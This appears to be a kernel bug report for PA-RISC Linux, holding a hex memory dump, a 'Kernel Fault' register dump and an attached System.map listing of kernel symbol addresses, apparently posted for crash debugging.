79c0 00000000 00000001 3f2a4000 00000000 00000000 00000000 00000000 00000000
79e0 00000000 00000000 00000000 1011e8ac 00000000 00000000 00000000 00000000
7a00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7a20 00000000 00000000 00000000 10120104 00000000 00000000 00000000 00000000
7a40 00000001 00000001 00000000 3f2a4000 00000000 00000000 00000000 00000000
7a60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7a80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7aa0 00000000 00000000 00000000 1011fdb4 00000000 00000000 00000000 00000000
7ac0 00000000 3f2a4000 00000015 00000000 00000000 00000000 00000000 00000000
7ae0 00000000 00000000 00000000 1011fc68 00000000 00000000 00000000 00000000
7b00 0000000e 00000000 00000014 3f2a4000 00000000 00000000 00000000 00000000
7b20 00000000 00000000 00000000 1011fb18 00000000 00000000 00000000 00000000
7b40 0004000e 00000000 1011fb18 102f95d4 00000001 00000015 3f2a4450 00000001
7b60 10276384 00000002 10276360 a0000000 3f2a7600 001e8480 00027630 00058260
7b80 3f2a7600 0000ffff 00000001 00000000 0000000e 00000001 100e9000 0000000e
7ba0 3f2a4450 00001080 00000000 10274010 100e90c0 00000000 3f2a7d80 1012ed90
7bc0 08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7be0 0000000a fe4917e0 2c760000 84cda717 00000001 bc9c0000 f9abb0d5 f309b5b9
7c00 00000009 c0b4e852 102dc000 00000000 1028e064 102f9010 102fc010 10274010
7c20 102f8810 00000001 10292010 1013848c 102f8810 102d98a8 102d98a8 102d9820
7c40 3fbb5000 1028e60c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
7c60 102f9010 3fbb5000 1028e60c 10149de4 00000000 00001000 00000000 00000000
7c80 00000000 00000000 3fe00000 00000000 412e8480 00000000 00000000 0000004d
7ca0 ffffffff 102fc010 10274010 101385f4 3fbed400 1028cee0 10292010 102f9010
7cc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7ce0 00000000 00000000 1011fb3c 1011fb40 7f2bb706 00000000 00000000 00000000
7d00 00000000 00000014 0e7c1280 00000000 00000000 00000000 00000000 00000000
7d20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7d40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
7d60 00000000 00000000 00000000 10106744 00000000 00000000 00000000 00000000

Kernel Fault: Code=26 regs=3f2a7b40 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3	 00000000 00000000 1011fb18 102f95d4
r4-7	 00000001 00000015 3f2a4450 00000001
r8-11	 10276384 00000002 10276360 a0000000
r12-15	 3f2a7600 001e8480 00027630 00058260
r16-19	 3f2a7600 0000ffff 00000001 00000000
r20-23	 0000000e 00000001 100e9000 0000000e
r24-27	 3f2a4450 00001080 00000000 10274010
r28-31	 100e90c0 00000000 3f2a7d80 1012ed90
sr0-3	 00000000 00000000 00000000 00000000
sr4-7	 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1011fb3c 1011fb40
 IIR: 0e7c1280    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000

--UlVJffcvxoiEqYs2
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="System.map"

10100000 A _text
10100000 T _stext
10100000 T stext
10100020 t $bss_loop
1010006c t $pgt_fill_loop
101000e0 t $is_pa20
101000e8 t $install_iva
10100118 t do_linuxrc
10100194 t init
101001c8 t .L1545
10100210 t .L1562
10100224 t .L1549
101002a8 t .L1563
101002a8 t pdc_console_write
101002ec t pdc_console_setup
101002f4 T pdc_console_init
1010030c t .L622
10100340 t .L624
10100364 t .L627
1010036c T pdc_console_die
1010036c t .L628
10100424 T pdc_console_restart
1010043c t .L635
10100488 T disable_hlt
10100488 t .L643
101004a0 T enable_hlt
101004b8 T cpu_idle
101004e0 t .L693
101004fc t .L696
10100500 T machine_restart
10100520 T machine_halt
10100524 T machine_power_on
10100528 T machine_power_off
10100554 T machine_heartbeat
10100558 T kernel_thread
10100570 T exit_thread
10100574 T flush_thread
10100590 T release_thread
10100594 T dump_fpu
101005c4 T sys_clone
101005e0 T sys_vfork
1010060c T copy_thread
101006c0 T sys_execve
10100750 T free_initmem
10100754 T __bad_pgd
10100794 T __bad_pmd
101007d4 T get_pte_slow
101008a4 T do_check_pgt_cache
101008ac T __bad_pagetable
101008b4 T __bad_page
101008bc T show_mem
101009e4 T set_pte_phys
101009e8 T alloc_sid
10100a0c t .L998
10100b5c T free_sid
10100b5c t .L1025
10100be0 t recycle_sids
10100c5c T flush_tlb_all
10100c7c T free_initrd_mem
10100c80 T si_meminfo
10100ccc t parisc_acctyp
10100d9c T do_page_fault
10100e30 t .L725
10100ea8 t .L682
10100ee0 t .L738
10100f04 t .L688
10100f58 t .L716
10100fd0 t .L739
10100fdc t .L740
10101028 t .L706
10101040 t .L741
101010f0 t .L742
101010f8 T search_exception_table
10101168 T flush_all_caches
10101190 T update_mmu_cache
1010121c T get_cache_info
10101310 T disable_sr_hashing
10101370 t .L735
10101384 t .L751
10101400 T __flush_tlb_all
10101484 t fitmanyloop
10101490 t fitmanymiddle
101014ac t fitoneloop
101014b8 t fitonemiddle
101014c8 t fitdone
101014f0 t fdtmanyloop
101014fc t fdtmanymiddle
10101518 t fdtoneloop
10101524 t fdtonemiddle
10101534 t fdtdone
10101574 T flush_instruction_cache
10101598 t fimanyloop
101015ac t fioneloop
101015b4 t fisync
101015c0 T flush_data_cache
101015e8 t fdmanyloop
101015fc t fdoneloop
10101604 t fdsync
10101618 T copy_user_page_asm
101016b0 T clear_user_page_asm
10101720 T flush_kernel_dcache_page
10101784 T purge_kernel_dcache_page
101017e8 T flush_user_dcache_range_asm
1010180c T flush_kernel_dcache_range_asm
10101834 T flush_user_icache_range_asm
10101858 T flush_kernel_icache_range_asm
10101880 T disable_sr_hashing_asm
101018e4 t srdis_pcxs
10101900 t srdis_pcxl
10101910 t srdis_pa20
1010191c t srdis_done
10101980 t cpu_driver_callback
10101a18 T init_per_cpu
10101a94 t .L889
10101ac0 T get_cpuinfo
10101ac0 t .L891
10101c6c t printbinary
10101cd8 T show_regs
10101e3c T die_if_kernel
10101ef0 T syscall_ipi
10101f14 T handle_gdb_break
10101f54 T handle_break
10101fe4 t .L723
10102014 t .L734
10102080 t .L735
10102084 T handle_toc
1010208c T default_trap
101020c0 T handle_interruption
101020f0 t .L740
10102220 t .L738
10102290 t .L777
101022dc t .L781
101022dc t .L827
101022f0 t .L828
10102314 t .L829
10102358 t .L830
10102364 t .L831
101023b8 t .L832
101024dc t .L833
10102528 t .L834
10102530 t .L835
10102534 T show_stack
101025ec T parisc_terminate
10102624 t .L846
1010265c T transfer_pim_to_trap_frame
1010265c t .L851
10102800 T timer_interrupt
10102864 T do_gettimeofday
1010290c T do_settimeofday
10102a34 t disable_cpu_irq
10102a50 t enable_cpu_irq
10102a7c T disable_irq
10102ac0 t .L683
10102adc T enable_irq
10102adc t .L685
10102b20 t .L688
10102b3c T get_irq_list
10102b3c t .L690
10102cec T txn_alloc_irq
10102d24 T txn_claim_irq
10102d58 T txn_alloc_addr
10102dac T txn_alloc_data
10102de4 T do_irq
10102ebc T do_irq_mask
10103018 T alloc_irq_region
1010317c t .L790
10103194 t .L793
10103198 T request_irq
10103354 T free_irq
101033f0 t .L815
10103410 t .L838
10103444 T probe_irq_on
1010344c T probe_irq_off
10103454 T init_irq_proc
10104000 T linux_gateway_page
101040e0 t set_thread_pointer
10104100 t linux_gateway_entry
10104254 t syscall_nosys
10104260 t tracesys
1010430c t tracesys_next
1010434c t tracesys_exit
10104378 t tracesys_sigexit
10104390 T sys_call_table
10105000 T end_linux_gateway_page
10105000 T fault_vector_20
10105800 T fault_vector_11
10105c00 T __kernel_thread
10105c34 T ret_from_kernel_thread
10105c54 T __execve
10105c84 t __execve_failed
10105c90 T _switch_to
10105cf8 t _switch_to_ret
10106000 T syscall_exit_rfi
10106048 t intr_return
10106060 t intr_check_resched
10106070 t intr_check_sig
10106080 t intr_restore
10106268 t intr_do_softirq
10106278 t intr_do_resched
10106294 t intr_do_signal
101062bc t intr_extint
10106500 T intr_save
101065e0 t skip_save_ior
1010674c t dtlb_miss_11
101067d8 t dtlb_check_alias_11
10106810 t nadtlb_miss_11
1010689c t dtlb_miss_20
10106910 t dtlb_check_alias_20
10106944 t nadtlb_miss_20
101069b8 t nadtlb_emulate
101069f0 t nadtlb_nullify
10106a08 t itlb_miss_11
10106a20 t itlb_miss_common_11
10106a90 t itlb_miss_kernel_11
10106a98 t itlb_miss_20
10106ab0 t itlb_miss_common_20
10106b08 t itlb_miss_kernel_20
10106b10 t dbit_trap_11
10106b98 t dbit_trap_20
10106c08 t kernel_bad_space
10106c10 t dbit_fault
10106c18 t itlb_fault
10106c20 t nadtlb_fault
10106c28 t dtlb_fault
10106c30 T sys_fork_wrapper
10106ca0 t wrapper_exit
10106cfc T child_return
10106d10 T sys_clone_wrapper
10106d7c T sys_vfork_wrapper
10106de8 T sys_execve_wrapper
10106e10 t error_sys_execve
10106e18 T sys_rt_sigreturn_wrapper
10106e7c T sys_sigaltstack_wrapper
10106e9c T sys_rt_sigsuspend_wrapper
10106f40 T syscall_exit
10106f4c t syscall_check_bh
10106f64 t syscall_check_resched
10106f6c t syscall_check_sig
10106f78 t syscall_restore
10107074 t syscall_restore_rfi
10107090 t try_tbit
10107098 t psw_setup
10107120 t pt_regs_ok
10107140 t syscall_do_softirq
10107150 t syscall_do_resched
10107160 t syscall_do_signal
101071fc t get_register
10107304 t set_register
10108000 T sys_pipe
10108054 T sys_pause
10108084 t do_mmap2
101080e8 t .L678
1010812c t .L681
10108170 t .L687
10108178 t .L688
10108194 T sys_mmap2
101081bc T sys_mmap
101081d8 t .L690
101081f8 T sys_shmat_wrapper
101081f8 t .L694
10108220 t f_extend
10108228 t convert_to_wide
1010822c T pdc_add_valid
10108260 T pdc_chassis_info
101082ec T pdc_coproc_cfg
1010836c T pdc_iodc_read
10108428 T pdc_system_map_find_mods
101084f4 T pdc_system_map_find_addrs
10108580 T pdc_model_info
10108608 T pdc_model_sysmodel
10108690 T pdc_model_versions
10108700 T pdc_model_cpuid
10108770 T pdc_model_capabilities
101087e0 T pdc_cache_info
10108854 T pdc_mem_map_hpa
101088dc T pdc_lan_station_id
10108960 t .L90
10108988 t .L92
1010898c T pdc_pci_irt_size
101089fc T pdc_pci_irt
10108a50 T pdc_tod_read
10108ac4 T pdc_tod_set
10108b00 T pdc_do_firm_test_reset
10108b40 T pdc_do_reset
10108b70 T pdc_iodc_putc
10108c88 T pdc_sti_call
10108cb0 t real32_call
10108d90 T sys_ptrace
10108e48 t .L657
101090e4 t .L754
101090f4 t .L819
10109194 t .L820
101093e4 t .L821
10109478 T syscall_trace
101094ec T parisc_getHWtype
10109510 T parisc_getHWdescription
1010956c T parisc_get_cpu_type
101095c8 T parisc_get_reference
10109620 T setup_pdc
10109708 t set_pmem_entry
1010973c T do_pagezero_memconfig
1010977c t check_if_715old
101097a4 T do_legacy_inventory
101097fc t .L688
1010997c t .L693
10109990 t .L711
101099a8 t .L771
101099e8 t .L720
10109a14 t .L772
10109a30 t .L773
10109a98 t .L774
10109abc t .L775
10109ac4 t do_native_bus_walk
10109b24 t do_system_map_inventory
10109c54 t .L795
10109c74 t .L807
10109c78 T do_memory_inventory
10109c98 t .L809
10109cd4 t .L808
10109cf0 t .L820
10109cf8 t .L821
10109d00 T do_device_inventory
10109d2c t .L823
10109d54 t .L832
10109d5c t .L833
10109d74 t compare_spec
10109e08 T register_driver
10109eec t .L662
10109f64 t .L676
10109f6c T unregister_driver
1010a010 t .L680
1010a058 t .L704
1010a064 T add_pa_dev_addr
1010a0d4 T alloc_pa_dev
1010a234 T register_pa_dev
1010a2c0 T get_pa_dev
1010a2ec T print_pa_devices
1010a44c T __up
1010a480 T __down
1010a5c8 T __down_interruptible
1010a71c T down_read_failed
1010a810 T down_write_failed
1010a938 T up_read_wakeup
1010a968 T up_write_wakeup
1010a998 t diag_read
1010a9a0 t cpu_hpa
1010a9a8 t pa7300lc_lpmc
1010aa98 T pa7300lc_init
1010aaac t pa11_dma_supported
1010aab4 t unmap_uncached_pages
1010ac30 t .L840
1010ac48 T pcxl_alloc_range
1010ac48 t .L847
1010aeb8 t pcxl_free_range
1010afb4 t pa11_dma_alloc_consistent
1010b0c4 t .L950
1010b1f4 t .L967
1010b1f8 t pa11_dma_free_consistent
1010b27c t pa11_dma_map_single
1010b2a0 t .L973
1010b308 t .L978
1010b344 t pa11_dma_unmap_single
1010b370 t .L980
1010b3e0 t .L986
1010b41c t pa11_dma_map_sg
1010b43c t .L988
1010b4b8 t .L998
1010b4b8 t pa11_dma_unmap_sg
1010b4d8 t .L1000
1010b538 t .L1011
1010b538 t pa11_dma_sync_single
1010b564 t .L1013
1010b590 t .L1016
1010b590 t pa11_dma_sync_sg
1010b5e4 t fail_alloc_consistent
1010b5ec t fail_free_consistent
1010b5f0 t pcxl_proc_info
1010b73c t .L1032
1010b7a4 T copy_siginfo_to_user
1010b7a4 t .L1038
1010b85c t .L709
1010b99c T sys_rt_sigsuspend
1010b99c t .L907
1010baa4 t restore_sigcontext
1010bb68 T sys_rt_sigreturn
1010bcb0 t setup_sigcontext
1010be78 t setup_rt_frame
1010c238 t handle_signal
1010c31c T do_signal
1010c378 t .L1437
1010c618 t .L1486
1010c620 t .L1578
1010c62c t .L1579
1010c634 t .L1499
1010c660 t .L1580
1010c720 t .L1581
1010c778 T os_hpmc
1010c7c4 t os_hpmc_1
1010c7f4 t os_hpmc_2
1010c818 t os_hpmc_3
1010c858 t os_hpmc_4
1010c8a0 t os_hpmc_5
1010c8e8 t os_hpmc_fail
1010c8fc t os_hpmc_6
1010c910 T os_hpmc_end
1010c980 T real32_call_asm
1010c9c8 t ric_ret
1010c9f0 t save_control_regs
1010ca48 t restore_control_regs
1010cb00 t rfi_virt2real
1010cb74 t rfi_v2r_1
1010cc00 t rfi_real2virt
1010cc74 t rfi_r2v_1
1010cd00 T inb
1010cd58 t .L39
1010cd70 t .L41
1010cd74 T inw
1010cdcc t .L44
1010cde4 t .L46
1010cde8 T inl
1010ce40 t .L49
1010ce58 t .L51
1010ce5c T outb
1010cea4 T outw
1010ceec T outl
1010cf30 T pcibios_init
1010cf60 t .L56
1010cf74 T pcibios_fixup_bus
1010cf74 t .L59
1010cf98 t .L62
1010cfb4 T pcibios_setup
1010cfb4 t .L63
1010cfbc T pcibios_update_irq
1010cfc0 T pcibios_update_resource
1010d014 t .L66
1010d048 t .L77
1010d064 T pcibios_set_master
1010d0bc t pcibios_link_hba_resources
1010d110 T pcibios_fixup_pbus_ranges
1010d158 T pcibios_align_resource
1010d198 T pcibios_enable_device
1010d258 T pcibios_register_hba
1010d298 t def_setkeycode
1010d2a0 t def_getkeycode
1010d2a8 t def_translate
1010d2b4 t def_unexpected_up
1010d2bc t def_leds
1010d2c0 t def_init_hw
1010d2c4 T register_kbd_ops
1010d350 t lba_dump_res
1010d3ec t lba_device_present
1010d42c t lba_rd_cfg
1010d614 t .L722
1010d758 t .L762
1010d758 t lba_cfg_read8
1010d874 t lba_cfg_read16
1010d9ac t lba_cfg_read32
1010dac8 t lba_wr_cfg
1010db24 t .L810
1010dc38 t .L829
1010dc80 t .L850
1010dce4 t .L873
1010dd08 t .L874
1010dd20 t .L875
1010dd44 t .L876
1010dd6c t .L877
1010dd70 t lba_cfg_write8
1010de50 t .L891
1010de80 t .L894
1010de94 t lba_cfg_write16
1010df84 t .L912
1010dfb4 t .L915
1010dfc8 t lba_cfg_write32
1010e0ac t .L933
1010e0dc t .L936
1010e0f0 t lba_bios_init
1010e0f4 t lba_fixup_bus
1010e25c t .L940
1010e27c t .L942
1010e2ac t .L965
1010e2d0 t .L966
1010e2d0 t lba_astro_in8
1010e2f8 t lba_astro_in16
1010e32c t lba_astro_in32
1010e360 t lba_astro_out8
1010e3ac t lba_astro_out16
1010e404 t lba_astro_out32
1010e458 t lba_legacy_resources
1010e5c0 t lba_hw_init
1010e654 t lba_common_init
1010e6ac T lba_init_iregs
1010e72c t irt_find_irqline
1010e80c t iosapic_xlate_pin
1010e8cc t iosapic_interrupt
1010e914 T iosapic_fixup_irq
1010ea90 t iosapic_rd_irt_entry
1010eb3c t iosapic_wr_irt_entry
1010ec10 t iosapic_set_irt_data
1010ec80 t iosapic_disable_irq
1010ece8 t iosapic_enable_irq
1010ed40 t iosapic_mask_irq
1010ed6c t iosapic_unmask_irq
1010ed98 t iosapic_rd_version
1010edd4 T iosapic_register
1010ef48 t .L808
1010ef6c t .L809
1010ef70 t sba_alloc_range
1010f26c t sba_dma_supported
1010f2c4 t sba_map_single
1010f43c t sba_unmap_single
1010f588 t sba_alloc_consistent
1010f624 t sba_free_consistent
1010f678 t sba_map_sg
1010f94c t sba_unmap_sg
1010fa14 t sba_get_pat_resources
1010fa18 t sba_ioc_init
1010fbf8 t sba_hw_init
1010fdb8 t sba_common_init
1010fefc t sba_proc_info
10110170 t sba_resource_map
101101d0 t .L973
10110238 T sba_driver_callback
10110238 t .L978
10110428 T sba_io_pdir_entry
10110500 t ccio_alloc_range
10110808 t ccio_free_range
10110988 T ccio_io_pdir_entry
101109ec t ccio_clear_io_tlb
10110a68 t ccio_mark_invalid
10110af0 t ccio_dma_supported
10110b48 t ccio_map_single
10110c5c t ccio_unmap_single
10110cf8 t ccio_alloc_consistent
10110d84 t ccio_free_consistent
10110dd8 t ccio_fill_pdir
10110f28 t ccio_coalesce_chunks
10111034 t dump_sg
101110a4 t ccio_map_sg
10111164 t ccio_unmap_sg
101111c4 t ccio_proc_info
10111524 t ccio_resource_map
101115ac t .L960
10111634 t .L970
10111634 t ccio_cujo20_hack
10111774 t ccio_ioc_init
10111a38 t ccio_driver_callback
10111c6c T superio_inform_irq
10111cc4 t superio_interrupt
10111d44 t .L675
10111d98 t .L685
10111dc4 t .L686
10111dc8 t superio_init
10112124 t superio_disable_irq
10112168 t .L699
101121a4 t .L704
101121a4 t superio_enable_irq
101121e8 t .L705
10112204 t .L709
10112228 t .L713
10112230 t .L714
10112230 t superio_mask_irq
1011225c t superio_unmask_irq
10112288 T superio_fixup_irq
101122e4 t .L729
10112374 t .L730
10112378 T superio_serial_init
101123ac t .L733
1011246c t .L731
10112494 t .L741
101124ac t .L742
101124bc t .L743
101124c4 T hpux_call_table
101124c4 t .L744
10113000 T hpux_gateway_page
10113084 t syscall_nosys
10114000 T end_hpux_gateway_page
10114000 T hpux_fork_wrapper
10114068 t fork_return
101140c4 t fork_exit
101140cc T hpux_child_return
101140d8 T hpux_execv_wrapper
101140dc T hpux_execve_wrapper
10114128 t exec_error
10114130 T hpux_pipe_wrapper
10114154 t pipe_exit
1011415c T hpux_syscall_exit
10114170 t no_error
10114178 T hpux_execve
10114208 t filldir
10114370 T hpux_getdents
101143f4 t .L793
10114430 t .L795
101144c0 t .L821
101144c8 T hpux_mount
101144c8 t .L822
101144d0 t cp_hpux_stat
10114694 T hpux_stat64
101146c0 t .L847
10114714 t .L850
10114728 T hpux_fstat64
101147bc T hpux_lstat64
101147e8 t .L865
1011483c t .L868
10114850 t hpux_ioctl_t
1011487c t .L589
10114898 t .L594
101148a0 t .L595
101148a4 T hpux_ioctl
101148c8 t .L597
101148dc t .L602
101148e4 t .L603
101148e8 T hpux_brk
10114904 T hpux_sbrk
1011490c T hpux_nice
10114914 T hpux_ptrace
1011491c T hpux_wait
10114940 T hpux_sysconf
10114960 t hpux_ustat
10114a10 t hpux_uname
10114b70 t .L709
10114ba8 t .L724
10114c08 T hpux_utssys
10114c78 t .L725
10114ca4 t .L781
10114ce4 t .L782
10114d00 t .L783
10114e54 T hpux_getdomainname
10114ee4 t .L790
10114f0c t .L793
10114f1c T hpux_pipe
10114f34 T scheduling_functions_start_here
10114f4c t reschedule_idle
10115018 t process_timeout
1011504c t .L742
10115094 T schedule_timeout
10115094 t .L744
1011512c t .L748
101151d0 t .L758
101151d4 T schedule_tail
101151f8 T schedule
10115234 t .L765
101153fc t .L817
10115458 t .L868
10115604 t .L869
10115608 T __wake_up
10115734 t .L935
101157b8 t .L939
101157cc t .L924
1011580c T __wake_up_sync
1011580c t .L940
101159a4 T interruptible_sleep_on
10115a28 T interruptible_sleep_on_timeout
10115ab4 T sleep_on
10115b38 T sleep_on_timeout
10115bc4 T scheduling_functions_end_here
10115bdc T sys_nice
10115c68 t setscheduler
10115e30 T sys_sched_setscheduler
10115e58 T sys_sched_setparam
10115e84 T sys_sched_getscheduler
10115ef0 T sys_sched_getparam
10115f94 T sys_sched_yield
10115fe0 T sys_sched_get_priority_max
10116014 T sys_sched_get_priority_min
10116048 T sys_sched_rr_get_interval
1011613c t show_task
101161a4 t .L1148
101161c4 t .L1151
10116208 t .L1158
1011621c t .L1160
10116234 t .L1162
1011624c t .L1164
10116270 t .L1171
10116280 t .L1172
10116290 t .L1173
101162a0 t .L1174
101162c4 t .L1175
101162d4 T render_sigset_t
101162d4 t .L1176
1011639c T show_state
10116410 T daemonize
101164b4 T wake_up_process
101164e8 t .L730
10116530 T request_dma
10116530 t .L1234
10116538 T free_dma
10116540 T get_dma_list
10116568 T add_wait_queue
10116594 T add_wait_queue_exclusive
101165c4 T remove_wait_queue
101165e4 t get_pid
10116740 t mm_init
101167fc T mm_alloc
10116844 T mmput
10116874 t .L802
101168c0 T mm_release
101168c0 t .L808
10116904 t .L813
1011691c t .L815
10116920 t copy_mm
10116a2c t .L826
10116ab0 t .L842
10116af0 t .L848
10116b60 t .L868
10116b90 t .L869
10116cbc T copy_fs_struct
10116cbc t .L870
10116d48 t .L900
10116da0 t .L906
10116e00 t .L913
10116e50 t .L919
10116e74 t .L920
10116e8c t .L921
10116e8c t count_open_files
10116eb4 t copy_files
10116f14 t .L960
10116ff4 t .L987
1011714c T do_fork
10117464 t .L1027
10117548 t .L1086
1011755c t .L1108
10117584 t .L1056
10117590 t .L1109
101175b0 t .L1103
101175bc t .L1064
101175c8 t .L1110
101175e4 t .L1111
101177a8 t .L1112
10117820 t .L1039
10117878 t .L1045
101178d8 t .L1052
10117920 t .L1113
10117944 t .L1114
1011795c t .L1115
10117978 T __mmdrop
101179a4 t .L799
101179e0 t .L1128
101179e0 t no_lcall7
10117a58 t .L641
10117a74 t .L651
10117a74 t lookup_exec_domain
10117ae4 T register_exec_domain
10117b34 T unregister_exec_domain
10117b74 T __set_personality
10117c60 T sys_personality
10117cb8 T get_exec_domain_list
10117d6c T panic
10117dd4 t .L617
10117e8c t .L632
10117ea0 t .L642
10117ebc t .L643
10117ec4 T do_syslog
10117fac t .L677
101180a4 t .L680
101180cc t .L849
101180e4 t .L850
10118300 T sys_syslog
10118358 T printk
101185d4 T console_print
10118664 T unblank_console
101186cc T register_console
10118a28 T unregister_console
10118aa0 T tty_write_message
10118af8 T inter_module_register
10118b90 t .L717
10118c04 t .L729
10118c24 T inter_module_unregister
10118c84 t .L730
10118cc4 t .L745
10118ce0 t .L746
10118ce4 T inter_module_get
10118d58 T inter_module_get_request
10118d70 t .L758
10118d84 T inter_module_put
10118d84 t .L761
10118e3c T sys_create_module
10118e44 T sys_init_module
10118e4c T sys_delete_module
10118e54 T sys_query_module
10118e60 T sys_get_kernel_syms
10118e68 T try_inc_mod_count
10118e70 t release_task
10118fd4 t .L690
10119000 T session_of_pgrp
10119000 t .L691
10119068 t will_become_orphaned_pgrp
101190dc T is_orphaned_pgrp
101190f8 T put_files_struct
1011912c t .L752
10119214 t .L768
1011921c T exit_files
10119248 T put_fs_struct
10119270 t .L785
101192b0 t .L786
101192e4 t .L788
10119324 t .L790
10119338 t .L797
10119350 t .L798
10119368 t .L799
10119380 T exit_fs
10119380 t .L800
101193b0 t .L812
101193f0 t .L814
10119424 t .L816
10119464 t .L818
10119478 t .L825
10119490 t .L826
101194a8 t .L827
101194c0 T start_lazy_tlb
101194c0 t .L828
101194f0 T end_lazy_tlb
10119538 t .L839
1011958c t .L844
101195a4 t .L848
101195bc T exit_mm
101195bc t .L849
10119634 t exit_notify
10119694 t .L864
101196bc t .L868
1011975c t .L904
10119820 t .L936
101198a8 t .L937
101198d4 t .L938
101198dc T do_exit
10119954 t .L944
101199e0 t .L951
10119aa4 t .L974
10119ad8 t .L953
10119b0c t .L955
10119b4c t .L957
10119b5c t .L975
10119b6c t .L976
10119b7c t .L977
10119b8c t .L978
10119bb0 T up_and_exit
10119bdc t .L982
10119bf0 t .L984
10119bf4 T sys_exit
10119c04 T sys_wait4
10119cbc t .L990
10119d0c t .L1040
10119d38 t .L1107
10119eac t .L1108
10119fbc T sys_waitpid
10119fd8 t tvtojiffies
1011a01c t jiffiestotv
1011a060 T do_getitimer
1011a110 T sys_getitimer
1011a170 T it_real_fn
1011a1c0 T do_setitimer
1011a2c8 T sys_setitimer
1011a398 T sys_sysinfo
1011a504 t do_normal_gettime
1011a520 T get_fast_time
1011a544 T sys_time
1011a584 T sys_stime
1011a638 T sys_gettimeofday
1011a6bc T do_sys_settimeofday
1011a778 T sys_settimeofday
1011a7b8 t .L719
1011a814 T do_adjtimex
1011a814 t .L729
1011add4 T sys_adjtimex
1011ae48 T do_softirq
1011af24 T open_softirq
1011af74 t tasklet_action
1011b024 t tasklet_hi_action
1011b0d4 T tasklet_init
1011b0f4 T tasklet_kill
1011b1c0 t bh_action
1011b268 T init_bh
1011b27c T remove_bh
1011b2bc T __run_task_queue
1011b348 t do_resource_list
1011b418 T get_resource_list
1011b468 t __request_resource
1011b4c4 t __release_resource
1011b504 T request_resource
1011b52c T release_resource
1011b544 T check_resource
1011b574 t .L691
1011b598 t .L695
1011b598 t find_resource
1011b6c8 T allocate_resource
1011b73c T __request_region
1011b7f4 T __check_region
1011b838 T __release_region
1011b888 t .L727
1011b8ac t .L740
1011b8b0 T do_sysctl
1011b9f4 T sys_sysctl
1011ba18 t .L826
1011ba4c t .L831
1011ba4c t test_perm
1011bab0 t parse_table
1011bc1c T do_sysctl_strategy
1011bdd8 T register_sysctl_table
1011be78 T unregister_sysctl_table
1011bebc t register_proc_table
1011bf48 t .L951
1011bffc t .L976
1011c000 t unregister_proc_table
1011c068 t .L980
1011c0b4 t .L995
1011c0bc t .L996
1011c0c0 t do_rw_proc
1011c190 t proc_readsys
1011c1c4 t proc_writesys
1011c1f8 t proc_sys_permission
1011c214 T proc_dostring
1011c420 t proc_doutsstring
1011c4b4 t .L1085
1011c520 t .L1090
1011c530 t do_proc_dointvec
1011c964 T proc_dointvec
1011c990 T proc_dointvec_bset
1011c9f8 T proc_dointvec_minmax
1011cdc8 t do_proc_doulongvec_minmax
1011d1f4 T proc_doulongvec_minmax
1011d220 T proc_doulongvec_ms_jiffies_minmax
1011d250 T proc_dointvec_jiffies
1011d27c T sysctl_string
1011d410 T sysctl_intvec
1011d4f0 T sysctl_jiffies
1011d630 T sys_acct
1011d638 T sys_capget
1011d770 t cap_set_pg
1011d7bc t cap_set_all
1011d810 T sys_capset
1011d978 t .L846
1011d9e0 t .L860
1011d9f4 t .L861
1011da1c t access_one_page
1011db94 t .L758
1011dbc8 t .L769
1011dc10 t .L789
1011dc58 t .L761
1011dc7c t .L790
1011dc84 t .L791
1011dc8c t .L792
1011dca8 t .L793
1011dccc t access_mm
1011ddb8 T access_process_vm
1011de1c t .L815
1011de6c t .L818
1011dea8 t .L821
1011deb4 t .L822
1011debc T ptrace_readdata
1011df7c T ptrace_writedata
1011e04c T init_timervecs
1011e0d8 T add_timer
1011e23c T mod_timer
1011e32c T del_timer
1011e35c T tqueue_bh
1011e38c T immediate_bh
1011e3bc t second_overflow
1011e454 t .L805
1011e658 t .L846
1011e684 t update_wall_time_one_tick
1011e770 t update_wall_time
1011e7d8 T update_one_process
1011e868 t .L876
1011e894 t .L878
1011e8ac t .L880
1011e8d8 t .L884
1011e8ec t .L885
1011e8fc T update_process_times
1011e8fc t .L886
1011e9ec t count_active_tasks
1011ea34 T timer_bh
1011ed80 T do_timer
1011ee94 T sys_alarm
1011eed8 T sys_getpid
1011eee8 T sys_getppid
1011eefc T sys_getuid
1011ef0c T sys_geteuid
1011ef1c T sys_getgid
1011ef2c T sys_getegid
1011ef3c T sys_nanosleep
1011f10c T free_uid
1011f138 t .L653
1011f168 T alloc_uid
1011f168 t .L658
1011f1cc t .L665
1011f274 t .L677
1011f298 t next_signal
1011f2f0 t flush_sigqueue
1011f370 T flush_signals
1011f394 T exit_sighand
1011f3d0 t .L687
1011f3f8 T flush_signal_handlers
1011f3f8 t .L693
1011f430 T block_all_signals
1011f450 T unblock_all_signals
1011f49c t collect_signal
1011f588 t .L737
1011f618 t .L754
1011f620 T dequeue_signal
1011f6f8 t rm_from_queue
1011f7e4 t rm_sig_from_queue
1011f800 T bad_signal
1011f8a4 t signal_type
1011f950 t ignored_signal
1011f9b0 t handle_stop_signal
1011fa78 t .L851
1011faac t .L848
1011fac0 t .L882
1011facc t .L883
1011facc t send_signal
1011fb74 t .L898
1011fbc8 t .L904
1011fc44 t deliver_signal
1011fc80 t .L908
1011fcc4 T send_sig_info
1011fcc4 t .L915
1011fd00 t .L918
1011fd7c t .L936
1011fdbc T force_sig_info
1011fe6c T kill_pg_info
1011ff14 T kill_sl_info
1011ffc4 t kill_something_info
10120038 t .L985
10120064 t .L1017
101200e4 T send_sig
101200e4 t .L1018
10120110 T force_sig
10120130 T kill_pg
10120160 T kill_sl
10120190 T kill_proc
101201e8 t wake_up_parent
1012022c T do_notify_parent
101202f4 T notify_parent
1012030c T sys_rt_sigprocmask
101204c0 T do_sigpending
10120524 T sys_rt_sigpending
1012053c T sys_rt_sigtimedwait
101207c8 T sys_kill
